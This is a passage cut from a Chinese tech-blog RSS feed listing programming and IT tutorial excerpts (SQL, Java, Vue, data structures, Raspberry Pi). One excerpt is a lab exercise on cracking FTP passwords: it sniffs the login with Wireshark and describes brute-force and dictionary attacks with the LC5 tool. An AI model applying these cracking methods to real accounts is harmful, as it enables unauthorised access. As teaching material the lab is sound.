都只有异步复位端口，所以，倘若采用同步复位的话，综合器就会在寄存器的数据输入端口插入组合逻辑，这样就会一方面额外增加FPGA内部的逻辑资源，另一方面也增加了相应的组合逻辑门时延。&#xA;异步复位：它是指无论时钟沿是否到来，只要复位信号有效，就对系统进行复位。always @ ( posedge clk or negedge rst_n );</description>
    </item>
    <item>
      <title>18.Java POI下载和简介</title>
      <link>https://bchobby.github.io/posts/78b4eea3babc7cc82e40ba4dd6dc5276/</link>
      <pubDate>Mon, 09 May 2022 09:49:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78b4eea3babc7cc82e40ba4dd6dc5276/</guid>
      <description>简单介绍一下POI：&#xA;POI是Apache软件基金会的开放源码函式库&#xA;提供API给Java程序对Microsoft Office格式档案读和写的功能。&#xA;下载相关jar包方法 ：&#xA;打开POI的官网： Apache POI - the Java API for Microsoft Documents&#xA;进入下载页下滑，可以看到两个版本的POI&#xA;Binary Distribution是二进制包，也就是已经编译完成以后的包。&#xA;Source Distribution是源码包，也就是可以查看jar包的具体源代码。&#xA;可以选择喜欢的压缩模式，这里下载的是Binary包的zip压缩版，点击进入内页。&#xA;可以看到三个下载方法，前两个是下载。&#xA;点击链接后等待下载完成即可</description>
    </item>
    <item>
      <title>解决：teamviewer作为个人用途免费,但仅可使用数量的设备上</title>
      <link>https://bchobby.github.io/posts/0524d03adb741de95ba3995f99438b21/</link>
      <pubDate>Mon, 09 May 2022 00:57:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0524d03adb741de95ba3995f99438b21/</guid>
      <description> 解决：teamviewer作为个人用途免费,但仅可使用数量的设备上 在网页上登陆账号&#xA;将免费设备与可信用设备都删除，删除之后在进行登录，就可以解决问题了。&#xA;删除免费设备 删除所有的可信任设备 </description>
    </item>
    <item>
      <title>2022年美赛S奖得主的三次完赛经历</title>
      <link>https://bchobby.github.io/posts/b0717b0276e884698a830296bf996e0d/</link>
      <pubDate>Mon, 09 May 2022 00:40:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0717b0276e884698a830296bf996e0d/</guid>
      <description>三次建模&#xA;三次比赛：美赛，mathorcup，北京市大学生计算机应用与建模&#xA;队友：美赛和mathorcup 我在大学最好的好兄弟，我心动过的人 我的好兄弟的好兄弟，也是我曾经心动过的人&#xA;第三次 管我的人 &amp;amp; 编程碾压我的人&#xA;成绩：美赛S奖，其他未出&#xA;美赛 2022.2.18&#xA;E题 论文内容：我们给出了一个政策，在不损害经济又增大碳吸收的前提下，选择树种并分配种植面积。难点在于计算经济利益和碳吸收量。这之所以难，是因为我们考虑了不同树种的价钱、伐龄、销量，这些数据不好找；种植面积应该是多少没有条件；计算碳吸收量的公式只有方精云90年代发表的我看得懂。&#xA;如何提升：看论文，了解各种题目的思路、数据、如何把问题抽象成数学式子。此外，老哥的课除了算参数和拟合、层次分析，其他的到底有什么用？&#xA;经验：思路全靠自己。如果队友想放弃会很累。如果队友不及时跟你沟通进展会很累。我不是说累是我没获奖的原因，但累会影响积极性，这比没实力更可怕。&#xA;实际：我准备蓝桥杯直到4.9&#xA;mathorcup 4.14&#xA;A题&#xA;论文内容：1.判断可能的相似点，以此排除非细节点 2.观察得出，若两指纹相似，相似细节点占所有点的比例普遍比较大 3.计算没被排除的细节点的距离 4.根据2，3的值得到一个公式算出相似度评分，这个公式是队友提供的，我选的参数 5批量比较，验证方法可信度&#xA;经验：思路全靠自己。队友想放弃让我很累。跟队友沟通进展而他们不认为我在做有意义的事情很累。累会影响积极性，这比没实力更可怕。&#xA;如何提升：等大家都会编程了再说吧&#xA;第三次：&#xA;被拉进统计建模比赛，老师让我们先参加建模。&#xA;我一个人用excel完成了比赛。&#xA;通过拟合新增感染人数预测了奥密克戎消失时间。&#xA;感想：奥密克戎与我有关，我爱瞪眼法分析数据，我爱excel！为了荣誉参加比赛不符合得奖法则，迟早遭报应。道不同，不相为谋，好在统计建模没报上。&#xA;如何提升：学好excel，数学和编程；熟悉各种模型</description>
    </item>
    <item>
      <title>记录一个被自己蠢到的事——解决Potplay等播放器播放视频异常打不开故障</title>
      <link>https://bchobby.github.io/posts/8f5171b0a3557c824c086af97b466acd/</link>
      <pubDate>Sun, 08 May 2022 23:54:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f5171b0a3557c824c086af97b466acd/</guid>
      <description>从某字幕组下载了一部番剧，今天想起来品鉴一下，结果死活打不开视频，用potplay无论如何也打不开，也不报错，就是没反应，其他视频又好好的，后来发现，原来是文件夹名称过长导致播放器检索不到我这个视频文件，将文件夹名称删除一段就恢复正常了，我这个怕是最离谱的故障了吧</description>
    </item>
    <item>
      <title>二叉树非递归遍历算法分析</title>
      <link>https://bchobby.github.io/posts/82c858de06098b9b17529ac95acef2a1/</link>
      <pubDate>Sun, 08 May 2022 23:30:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82c858de06098b9b17529ac95acef2a1/</guid>
      <description>以前没有学习过树的相关算法，只是了解一些皮毛，最近开始认真学习它。看视频或者网上查资料，可以知道怎么去遍历一棵树，但是算法为什么是这样的呢？少有讲到。如果有一天，我忘记了这个算法，我需要重新去看视频，看文档，这不是我想要的。我想要的是，知道这个算法是怎么设计出来的。下次我忘记的时候，我需要一支笔，一张纸，重新设计出这个算法，而不是去找资料看视频。我想要知道的是，为什么如此，而不是仅仅知道如此而已。&#xA;一、三种遍历顺序 怎么记住三种遍历顺序：前序、中序、后序；前、中、后指的是什么。一棵树是怎么发展起来的：me，my-&amp;gt;left_child，my-&amp;gt;right_child，这是最基本的关系，me是中心，left和right跟me建立了一种联系，left和right再各自发展自己的child，于是一棵树就越来越庞大了。遍历过程，就是要把所有节点走一遍，而最基本的就是me/left/right这三者，所以根据访问它们的顺序，划分出了三种顺序，首先是先左后右，其次是me放在哪个位置，根据me的位置对遍历顺序进行命名，me在前即前序，在中即中序，在后即后序。&#xA;二、递归遍历的实现 递归是符合我们的思维习惯的，一个复杂的问题总是可以分解为若干简单的问题。无论一棵树多么庞大，我从它的根节点出发，看到的是最多３个节点：我自己，我的左孩子，我的右孩子。我自己可以直接访问，然后是访问左孩子和右孩子。访问左孩子和右孩子的方法是一样的，访问它们自己节点，以及它们的左右孩子。这就是递归，这就是分治，把一个问题分解为几个子问题，分别考虑每个子问题，如果子问题跟我的处理逻辑一样，那么就成了递归。&#xA;// 这里以前序遍历为例，中序/后序只需要调整visit(node)所在位置即可 void traverse(node_t *node) { visit(node); traverse(node-&amp;gt;left); traverse(node-&amp;gt;right); } 但是递归存在一个问题：如果树很深，那么函数的栈可能溢出。通常情况下栈的大小是固定的，不会动态扩展（go语言除外，它的栈可以伸缩，所以用go写递归，不用考虑栈溢出的问题）。每调用一个函数，就消耗一定的函数栈空间，如果这个函数没有结束，那么它会一直占用栈空间；在这个函数内部调用一个函数，又开辟了新的栈空间，如果树太深，那么栈就可能耗尽，然后访问越界，发生踩内存，coredump等未知问题。&#xA;所以，我们需要非递归，至少我们可以仿照函数栈的方式，自己实现栈，组织树的节点，完成遍历。当树太深的时候，我们可以动态扩展栈的空间，最终完成树的遍历。怎么实现栈的动态扩展，网上可以找到很多相关介绍。我的另外一篇博客实现了一种栈扩展的方法。在这里，只需要知道栈怎么用的：push/pop，后进先出，不考虑栈空间的扩展问题（假设它已经可以自动扩展了）。&#xA;三、怎么设计出非递归遍历算法 函数栈实现了递归，我们需要用自己的栈替换掉函数的栈，组织树的节点。一开始，我尝试分析函数栈的过程，发现太复杂了。函数栈很通用，一个节点会反复的入栈出栈，栈中的元素带了状态信息，这些状态信息就是我们的栈变量，所以每次处理当前栈顶元素的时候，总是可以知道应该做什么。以上面的前序递归函数为例，执行函数traverse(node)，首先需要访问node这个节点，于是开辟新的函数栈调用函数visit(node)，当visit结束后，重新回到traverse(node)，这时候pc指针已经指向了visit之后的代码，会调用traverse(node-&amp;gt;left)。如果我们要用这种方式，那么需要压栈的时候，不仅把node入栈，还需要把node已经完成了多少工作也压栈，即&#xA;typedef enum { STATE_INIT, // 刚刚开始 STATE_VISITED_MYSELF, // 已经访问了自己 STATE_LEFT_HANDLED, // 已经处理了左孩子 STATE_RIGHT_HANDLED, // 已经处理了右孩子 } node_state_t; typedef struct { node_t *node; node_state_t state; } node_info_t; 也就是说，每次入栈的元素是node_info_t，每次处理之后修改state信息，直到node_info_t处理完之后从栈里面弹出销毁。我没有继续走下去，我认为这么做是可以行得通的，但是比较复杂，显然我们知道的非递归遍历算法，只是把node压栈了，没有这么多信息入栈，所以需要寻找更简单的方法。我放弃了分析函数栈推导非递归算法这条路。&#xA;梳理一下思路：实现非递归遍历算法，需要用到栈，人工遍历是可以知道结果的。所以，我需要一张纸，一支笔，人工遍历，如果走到某一步发现走不下去了，看看可以怎么利用栈来帮我记录信息，然后重新开始，最终，应该可以找到一种方法，利用栈，实现非递归遍历。&#xA;设计遍历算法的步骤是：&#xA;1、明确遍历的顺序：前序、中序、还是后序；&#xA;2、人工遍历；&#xA;3、发现人工遍历进行不下去的时候，回头看看，怎么利用栈保存需要的信息；这一步可以总结出一些规则；&#xA;4、根据步骤3总结的规则，从步骤2重新开始，如此反复几次，应该就可以归纳出遍历的方法，最终完成遍历，并设计出一种算法。&#xA;四、推导非递归算法——前序遍历 （没有画图，感兴趣的朋友，可以自己找一张纸，一支笔，在纸上画画。下面的树只是用文字简单描述一下形状。）&#xA;&amp;lt;00&amp;gt; /\ &amp;lt;01&amp;gt; &amp;lt;02&amp;gt; /\ /\ &amp;lt;03&amp;gt; &amp;lt;04&amp;gt; &amp;lt;05&amp;gt; &amp;lt;06&amp;gt; /\ /\ /\ /\ &amp;lt;07&amp;gt; &amp;lt;08&amp;gt; &amp;lt;09&amp;gt; &amp;lt;10&amp;gt; &amp;lt;11&amp;gt; &amp;lt;12&amp;gt; &amp;lt;13&amp;gt; &amp;lt;14&amp;gt; 明确遍历顺序：我-&amp;gt;左-&amp;gt;右。</description>
    </item>
    <item>
      <title>LC5--ftp服务器密码检测</title>
      <link>https://bchobby.github.io/posts/4f43b862f72b8efc2b3b87752a60d95b/</link>
      <pubDate>Sun, 08 May 2022 20:09:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f43b862f72b8efc2b3b87752a60d95b/</guid>
      <description>lc5下载：&#xA;链接：https://pan.baidu.com/s/1Ljg3aJiaarf2vYHEJ91fiQ 提取码：xxmt&#xA;目录&#xA;实验目的：&#xA;实验任务：&#xA;实验原理：&#xA;实验环境：&#xA;实验步骤：&#xA;实验目的： 1.掌握FTP服务器的搭建方法&#xA;2.理解FTP的使用。 3.学习LC5破解密码工具的配置和使用方法。 实验任务： 1、架设一个简单的FTP服务器，分配用户，并按实验内容设置密码。&#xA;2、LC5破解工具。&#xA;实验原理： 一般入侵者常常采用下面几种方法获取用户的口令,包括弱口令扫描,Sniffer密码嗅探，暴力破解，打探、套取或合成口令等手段。&#xA;有关系统用户帐号口令的破解主要是基于字符串匹配的破解方法，最基本的方法有两个，穷举法和字典法。穷举法是效率最低的办法，将字符或数字按照穷举的规则生成口令字符串，进行遍历尝试。在口令组合稍微复杂的情况下，穷举法的破解速度很低。字典法相对来说效率较高，它用口令字典中事先定义的常用字符去尝试匹配口令。口令字典是一个很大的文本文件，可以通过自己编辑或者由字典工具生成，里面包含了单词或者数字的组合。如果你的口令就是一个单词或者是简单的数字组合那么破解者就可以很轻易的破解口令。&#xA;客户机操作系统:Windows 2000 /windows xp IP地址为 192.168.2.1服务器操作系统:Windows 2000 Advance Server / windows xp IP地址为 192.168.2.2实验时，如果没有两台机器，可以使用虚拟机，在虚拟机下安装服务器Windows 2000 Advance Server / windows xp。也可以把客户机和服务器同时安装到虚拟机下。&#xA;实验环境： 客户机操作系统:Windows 2000 /windows xp IP地址为 192.168.2.1&#xA;服务器操作系统:Windows 2000 Advance Server / windows xp IP地址为 192.168.2.2&#xA;实验时，如果没有两台机器，可以使用虚拟机，在虚拟机下安装服务器Windows 2000 Advance Server / windows xp。也可以把客户机和服务器同时安装到虚拟机下。&#xA;实验步骤： 1、首先搭建IIS服务器，同时选择角色服务为FTP服务器，点击下一步进行安装。&#xA;2、然后在服务器上搭建FTP服务，选择添加FTP站点，右击选择属性。&#xA;进行IP地址设置（绑定服务器的IP地址192.168.192.175）&#xA;3、之后创建用户xiaoxiukun(用于后续ftp远程登录实验)&#xA;4、在客户机上连接服务器的FTP服务：在客户机上启动wireshark（由于未下载到可用的Sniffer嗅探器，此处使用wireshark进行抓包监控），然后在DOS命令下使用FTP指令连接服务器的FTP服务器。（当未知密码时）&#xA;利用抓包工具wireshark查看抓取的FTP过程（推荐使用Sniffer）：</description>
    </item>
    <item>
      <title>Win10系统怎么注销微软账户</title>
      <link>https://bchobby.github.io/posts/1883f0c4aff79f7eac0da7d04f6964de/</link>
      <pubDate>Sun, 08 May 2022 19:25:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1883f0c4aff79f7eac0da7d04f6964de/</guid>
      <description>问题描述：&#xA;今天领得公共电脑准备干活，电脑上面还留着前人的Microsoft账户在那挂着，显示管理员账户，账户页面只有管理按键没有删除按键，导致无法删除掉，试了很多方法才删除掉，把成功的方法记录在下面。&#xA;解决办法：&#xA;1.假设你的微软账号是：xxx@xx.com，win+R打开运行，在运行输入框输入regedit，点击确定打开注册表编辑器，搜索微软账号名：xxx@xx.com。&#xA;2.一般是HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\UserExtendedProperties\xxx@xx.com和HKEY_USERS\.DEFAULT\Software\Microsoft\IdentityCRL\StoredIdentities\xxx@xx.com，然后删除注册表xxx@xx.com项，开始菜单里注销微软账户。&#xA;3.再次登录后，显示是本地账号，但是微软账号依然存在，删除HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL和HKEY_USERS\.DEFAULT\Software\Microsoft\IdentityCRL项，再次在开始菜单里注销账户；&#xA;4.重新登录后，在设置-账户-电子邮件和应用账户下，单击微软账户xxx@xx.com，点击“删除”即可&#xA;因为要修改注册表，为了安全起见最好还是先备份一下！</description>
    </item>
    <item>
      <title>SQL入门之第十讲——INNER JOIN 内连接</title>
      <link>https://bchobby.github.io/posts/88036bd2fbf674837a0fe1e7da120086/</link>
      <pubDate>Sun, 08 May 2022 15:30:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88036bd2fbf674837a0fe1e7da120086/</guid>
      <description>在实际的业务当中，往往需要多张表连接查询，这就会涉及到JOIN 连接&#xA;1. JOIN 连接的类型&#xA;INNER JOIN ：内连接, 可以只写JOIN ,只有连接的两个表中，都存在连接标准的数据才会保留下来，相当于两个表的交集。如果前后连接的是同一个表，也叫自连接。LEFT JOIN ：左连接，也叫左外连接。操作符左边表中符合WHERE子句中的所有记录将会被返回，操作右边表中如果没有符合ON后面连接的条件时，那么右边表指定选择的列将会返回NULL。RIGHT JOIN：右连接，也叫右外连接。返回右边表所有符合WHERE语句的记录，左表中匹配不上的字段值用NULL来代替。FULL JOIN：全连接。返回所有表中符合WHERE语句条件的所有记录。如果表中指定字段没有符合条件的值的话，用NULL来代替。&#xA;2. INNER JOIN 内连接&#xA;通过JOIN语句就可以将几个表通过那几个列连接起来INNER JOIN，可以省略掉 &#39;INNER ’ 只写JOIN就可以 基本语法：&#xA;select &amp;lt;字段名&amp;gt; from &amp;lt;表a&amp;gt; JOIN &amp;lt;表b&amp;gt; ON a.&amp;lt;字段名&amp;gt; = b.&amp;lt;字段名&amp;gt;; 实例1：将学生表和教师表通过教师编号Tid连接起来&#xA;select * from students AS s join teachers AS t on s.Tid = t.Tid; 执行结果：&#xA;查看输出结果，from后面的students表会作为基础表放在前面，后面在根据关联的Tid，去拼接是哪个join后面的teachers 表。&#xA;如果将两个表进行调换下位置，那么teachers表将会作为基础表放在前面&#xA;select * from teachers AS t join students AS s on t.Tid = s.Tid; 执行结果：&#xA;查看结果时发现，teachers表中一个有6个老师，现在只输出了4个老师，这是因为没出现的2个老师在students里没有对应的学生，所以内连接，只会输出两个表中相互匹配的数据，2个表的交集</description>
    </item>
    <item>
      <title>SQL入门之第九讲——DELETE删除语句</title>
      <link>https://bchobby.github.io/posts/f8c757b6021e111832c0fd6428f13338/</link>
      <pubDate>Sun, 08 May 2022 11:15:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8c757b6021e111832c0fd6428f13338/</guid>
      <description>定义：DELETE 语句是用于删除表中的一条或多条记录。&#xA;基本语法：&#xA;DELETE FROM &amp;lt;表名&amp;gt; WHERE &amp;lt;筛选条件&amp;gt;; 1.DELETE删除语句&#xA;如果省略WHERE条件时，这回收DELETE 语句就会删除整个表的数据记录。需要注意的是：这里不会删除表结构，只是将表中所有的数据全部清除掉勒 实例1：删除教师表中所有记录。&#xA;delete from teachers; 执行结果：&#xA;删除语句执行后，可以看到表中的列名还是存在，但是表中数据已经没有了&#xA;只有加上WHERE条件时，就会执行删除符合条件的记录。&#xA;实例2：删除学生表中，生日为：1992-01-11的这一条记录&#xA;delete from students where Sage = &#39;1992-01-11&#39;; 执行结果：&#xA;select * from students where Sage = &#39;1992-01-11&#39;; 可以看到已经查询不到一条记录了&#xA;2.恢复数据库&#xA;DROP DATABASE school; 删除之后在创建数据库即可</description>
    </item>
    <item>
      <title>numpy array转 python list</title>
      <link>https://bchobby.github.io/posts/337576f544741300e6bc8dc704d3d89c/</link>
      <pubDate>Sun, 08 May 2022 10:36:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/337576f544741300e6bc8dc704d3d89c/</guid>
      <description> 主要调用numpy的tolist()方法，可参考下面的例子：&#xA;import numpy as np arr=np.array([0,1,2,3,4,5,6,7,8,9]) lst=arr.tolist() type(lst) #&amp;lt;class &#39;list&#39;&amp;gt; print(lst) #[0, 1, 2, 3, 4, 5, 6, 7, 8, 9] </description>
    </item>
    <item>
      <title>SQL入门之第八讲——UPDATE更新语句</title>
      <link>https://bchobby.github.io/posts/ccd3d633cc6e872d7aa0684f15e2e939/</link>
      <pubDate>Sun, 08 May 2022 09:59:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccd3d633cc6e872d7aa0684f15e2e939/</guid>
      <description>定义：UPDATE更新语句是用来修改表中一条数据或者多条数据记录&#xA;基本语法：&#xA;UPDATE &amp;lt;表名&amp;gt; SET &amp;lt;字段名=值&amp;gt; WHERE &amp;lt;筛选条件&amp;gt;; 1. 更新单行数据&#xA;实例1：在学生表中，将学生编号Sid为6的学生姓名Sname修改为：杨红梅&#xA;update students set Sname=&#39;杨红梅&#39; where Sid = 6; 执行结果：&#xA;SET后面除了带文本之外，还可以是数学表达式 实例2：在学生表中，将学生编号Sid为10的学生姓名对应的Tid加100&#xA;update students set Tid=Tid+100 where Sid=10; 执行结果：&#xA;2. 更新多行数据&#xA;让where 条件筛选更多的记录，就会同时更改多条数据记录了 实例3：在学生表中，将性别为 ‘女’ 的学生，学生编号加500&#xA;update students set Sid=Sid+500 where Ssex = &#39;女&#39;; 执行结果：&#xA;3. UPDATE语句与子查询的搭配使用&#xA;子查询的定义：子查询是查询语句里面嵌套的查询语句，子查询的结果将作为主查询的查询条件，来完成更加复杂的数据检索那UPDATE语句是如何与子查询来进行搭配使用的呢，本质上就是将子查询与where子句结合来使用 实例4：在学生表中，将查询出班主任为：高静的学生性别修改为：女生&#xA;解析：在学生表中只有教师编号Tid，并没有教师姓名Tname, 所以需要先在教师表中查询出高静的id&#xA;update students set Ssex = &#39;女生&#39; where Tid = (select Tid from teachers where Tname = &#39;高静&#39;); 执行结果：</description>
    </item>
    <item>
      <title>SpringCloud Alibaba实战第三课 Gateway、Sentinel实战</title>
      <link>https://bchobby.github.io/posts/470b1fd26db89663be05f68ef23f4680/</link>
      <pubDate>Sun, 08 May 2022 09:07:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/470b1fd26db89663be05f68ef23f4680/</guid>
      <description>09 服务门户：Spring Cloud Gateway 如何把好微服务的大门 上一讲我们学习了 Dubbo 是如何与 Nacos 协同作业。通过对比 RESTful 与 RPC，我们介绍了两种通信方式的区别，再通过实例讲解如何将 Dubbo 与 Nacos 进行整合。但你是否发现无论是基于 OpenFeign 的 RESTful 通信，还是基于 Dubbo 的 RPC 通信，它们都在强调的是微服务间的信息传递，属于微服务架构内部的事情。而对于用户端从外侧访问微服务如何有效管理，微服务又是如何将接口暴露给用户呢？这就需要通过 API 网关实现需求了，本讲咱们就针对 API 网关学习三方面知识：&#xA;介绍 API 网关的用途与产品；&#xA;讲解 Spring Cloud Gateway 的配置技巧；&#xA;讲解 Gateway执行原理与自定义过滤器（Filter）。&#xA;API 网关的作用 如下图所示，对于整个微服务来说如果将每一个微服务的接口直接暴露给用户是错误的做法，这里主要体现出三个问题：&#xA;服务将所有 API 接口对外直接暴露给用户端，这本身就是不安全和不可控的，用户可能越权访问不属于它的功能，例如普通的用户去访问管理员的高级功能。&#xA;后台服务可能采用不同的通信方式，如服务 A 采用 RESTful 通信，服务 B 采用 RPC 通信，不同的接入方式让用户端接入困难。尤其是 App 端接入 RPC 过程更为复杂。&#xA;在服务访问前很难做到统一的前置处理，如服务访问前需要对用户进行鉴权，这就必须将鉴权代码分散到每个服务模块中，随着服务数量增加代码将难以维护。&#xA;用户端直接访问微服务&#xA;为了解决以上问题，API 网关应运而生，加入网关后应用架构变为下图所示。&#xA;引入 API 网关后的微服务架构&#xA;当引入 API 网关后，在用户端与微服务之间建立了一道屏障，通过 API 网关为微服务访问提供了统一的访问入口，所有用户端的请求被 API 网关拦截并在此基础上可以实现额外功能，例如：</description>
    </item>
    <item>
      <title>Ubuntu 20.04下配置 HAL 汇编开发环境教程</title>
      <link>https://bchobby.github.io/posts/14cc7f222ed489df2f7f8134d9b2f0d0/</link>
      <pubDate>Sun, 08 May 2022 09:01:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14cc7f222ed489df2f7f8134d9b2f0d0/</guid>
      <description>目录 安装解压配置环境变量测试 案例 安装 环境：Ubuntu 20.04&#xA;安装包：linux64.hla.tar.gz&#xA;这里安装的是64位的，具体与linux.hla.tar.gz有什么不同，没研究过。&#xA;解压 可任选目录，本文在我的用户目录/home/nqw下解压。&#xA;$ tar -xvf linux64.hla.tar.gz 解压后会自动创建子目录/usr/hla，文件都保存在这个目录下。其中code文件夹是笔者自己添加的，用来保存以后编写的代码。&#xA;配置环境变量 $ gedit ~/.bashrc 在打开的文件末尾，添加如下内容，主要是配置hla的可执行文件路径、库路径、头文件路径等。&#xA;PATH=/home/nqw/usr/hla:$PATH export PATH hlalib=/home/nqw/usr/hla/hlalib export hlalib hlainc=/home/nqw/usr/hla/include export hlainc hlacode=/home/nqw/usr/hla/code export hlacode 保存，退出。&#xA;执行如下指令生效。&#xA;$ source ~/.bashrc 测试 检测hla版本，看是否安装成功。&#xA;$ hla -v 得到如下信息，表示安装成功。&#xA;$ hla -v HLA (High Level Assembler) Use &#39;-license&#39; to see licensing information. Version 2.16 build 4409 (prototype) ELF output OBJ output using HLA Back Engine -test active HLA Lib Path: /hla/usr/hla/hlalib/hlalib.</description>
    </item>
    <item>
      <title>vue 路由的三种模式</title>
      <link>https://bchobby.github.io/posts/6d2cdc527a7423be20fe7b2e9fe517b8/</link>
      <pubDate>Sat, 07 May 2022 21:55:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d2cdc527a7423be20fe7b2e9fe517b8/</guid>
      <description>路由模式解析&#xA;这里要讲vue-router的路由模式，首先要了解的一点就是路由是由多个URL组成的，使用不同的URL可以相应的导航到不同的位置。如果有进行过服务器开发或者对http协议有所了解就会知道，浏览器中对页面的访问是无状态的，所以我们在切换不同的页面时都会重新进行请求。而实际使用vue和vue-router开发就会明白，在切换页面时是没有重新进行请求也没有重新刷新页面，使用起来就好像页面是有状态的，这是什么原因呢。这其实是借助了浏览器的History API来实现的，这样可以使得页面跳转而不刷新，页面的状态就被维持在浏览器中了。&#xA;hash模式 使用 URL 的 hash 来模拟一个完整的 URL，于是当 URL 改变时，页面不会重新加载，其显示的网路路径中会有 “#” 号，有一点点丑。这是最安全的模式，因为他兼容所有的浏览器和服务器。&#xA;history模式 美化后的hash模式，会去掉路径中的 “#”。依赖于Html5 的history，pushState API,所以要担心IE9以及一下的版本，感觉不用担心。并且还包括back、forward、go三个方法，对应浏览器的前进，后退，跳转操作。就是浏览器左上角的前进、后退等按钮进行的操作。&#xA;history.go(-2);//后退两次 history.go(2);//前进两次 history.back(); //后退 hsitory.forward(); //前进 但是history也是有缺点的，不怕前进后退跳转，就怕刷新（如果后端没有准备的话），因为刷新是实实在在地去请求服务器了。&#xA;abstract 路由模式 abstract 是vue路由中的第三种模式，本身是用来在不支持浏览器API的环境中，充当fallback，而不论是hash还是history模式都会对浏览器上的url产生作用，本文要实现的功能就是在已存在的路由页面中内嵌其他的路由页面，而保持在浏览器当中依旧显示当前页面的路由path，这就利用到了abstract这种与浏览器分离的路由模式。&#xA;路由示例 export const routes = [ { path: &#34;/&#34;, redirect: &#34;abstract-route&#34;, }, { path: &#34;/embed-route&#34;, name: &#34;embedded&#34;, component: () =&amp;gt; import(/* webpackChunkName: &#34;embed&#34; */ &#34;../views/embed.vue&#34;), }, { path: &#34;/abstract-route&#34;, name: &#34;abstract&#34;, component: () =&amp;gt; import(/* webpackChunkName: &#34;abstract&#34; */ &#34;../views/abstract.vue&#34;), }, ]; const router = new VueRouter({ mode: &#34;</description>
    </item>
    <item>
      <title>树莓派DS18B20温度采样上报服务器</title>
      <link>https://bchobby.github.io/posts/da071a4d65482ae29d253074942e2bdb/</link>
      <pubDate>Sat, 07 May 2022 20:58:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da071a4d65482ae29d253074942e2bdb/</guid>
      <description>目录&#xA;流程图&#xA;初始化部分&#xA;命令行解析&#xA;各个模块初始化&#xA;while循环部分&#xA;连接检查&#xA;采样判断&#xA;流程图 客户端功能：&#xA;*1.判断是否存在数据库db文件和表，不存在就创建，存在就不创建&#xA;*2.支持命令行传ip地址，端口号，域名，产品序列号,间隔时间,等参数&#xA;*3.客户端网络断开时自动保存断开时数据&#xA;*4.连接服务器时判断是否有断电时保留的数据&#xA;*5.有保留的数据就将数据发送给服务器&#xA;*6.在服务器网络恢复时自动重连服务器&#xA;*7.保证在发送数据库数据时能够精确采样数据&#xA;初始化部分 命令行解析 void useage(char *progname) { printf(&#34;%s useage:\n&#34;,progname); printf(&#34;-i(--ipaddr):specify server IP address or Domain name\n&#34;);//服务器IP地址或域名 printf(&#34;-p(--port):specify server port\n&#34;);//服务器端口 printf(&#34;-h(--help):print this help information\n&#34;);//打印帮助信息 printf(&#34;-d(--daemon):Let the Program run in the background\n&#34;);//进入后台运行 printf(&#34;-s(--sn):product ID\n&#34;);//指定产品序列号 printf(&#34;-t(--time):Sampling interval time\n&#34;);//指定采样间隔 printf(&#34;for example:proname -i 127.0.0.0 -p 1111 (-s [int i]) (-d) (-t [int i]) &#34;); return; } //命令行解析 while((opt = getopt_long(argc,argv,&#34;</description>
    </item>
    <item>
      <title>百度网盘启动没响应解决办法</title>
      <link>https://bchobby.github.io/posts/b30247d8b02962497c235d0b62a2d8c1/</link>
      <pubDate>Sat, 07 May 2022 17:23:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b30247d8b02962497c235d0b62a2d8c1/</guid>
      <description>百度网盘启动的时候没响应，打开任务管理器看看是不是有一个BaiduNetdiskUpdate(好像是，我已经更新好了，就没有这个了）。那就是你的百度网盘在更新，等会就自动启动了。</description>
    </item>
    <item>
      <title>Stream流中collect方法</title>
      <link>https://bchobby.github.io/posts/ff3ac5d44a1a6ceb272ec9497861cb56/</link>
      <pubDate>Sat, 07 May 2022 17:11:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff3ac5d44a1a6ceb272ec9497861cb56/</guid>
      <description>Stream流中collect方法 一、收集Stream流到集合和指定集和中1、示例2、结果 二、收集 Stream 流中的数据到数组中1、示例2、结果 三、Stream流中数据聚合/分组/分区/拼接操作1、聚合操作2、分组操作3、多级分组操作4、分区操作5、拼接操作 一、收集Stream流到集合和指定集和中 Stream 流提供了一个 collect() 方法，可以收集流中的数据到【集合】或者【数组】中去。&#xA;//1.收集数据到list集合中 stream.collect(Collectors.toList()) //2.收集数据到set集合中 stream.collect(Collectors.toSet()) //3.收集数据到指定的集合中 stream.collect(Collectors.toCollection(Supplier&amp;lt;C&amp;gt; collectionFactory)) 1、示例 public void test2() { //Stream 流 Stream&amp;lt;String&amp;gt; stream = Stream.of(&#34;aaa&#34;, &#34;bbb&#34;, &#34;ccc&#34;, &#34;bbb&#34;); //收集流中的数据到集合中 //1.收集流中的数据到 list List&amp;lt;String&amp;gt; list = stream.collect(Collectors.toList()); System.out.println(list); //Stream 流 stream = Stream.of(&#34;aaa&#34;, &#34;bbb&#34;, &#34;ccc&#34;, &#34;bbb&#34;); //2.收集流中的数据到 set Set&amp;lt;String&amp;gt; collect = stream.collect(Collectors.toSet()); System.out.println(collect); //Stream 流 stream = Stream.of(&#34;aaa&#34;, &#34;bbb&#34;, &#34;ccc&#34;, &#34;bbb&#34;); //3.收集流中的数据(ArrayList)(不收集到list,set等集合中,而是)收集到指定的集合中 ArrayList&amp;lt;String&amp;gt; arrayList = stream.collect(Collectors.toCollection(ArrayList::new)); System.out.println(arrayList); //Stream 流 stream = Stream.</description>
    </item>
    <item>
      <title>K8S：Namespace详解</title>
      <link>https://bchobby.github.io/posts/3c0d1bb81bcb7450027fbf075a66c52e/</link>
      <pubDate>Sat, 07 May 2022 17:02:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c0d1bb81bcb7450027fbf075a66c52e/</guid>
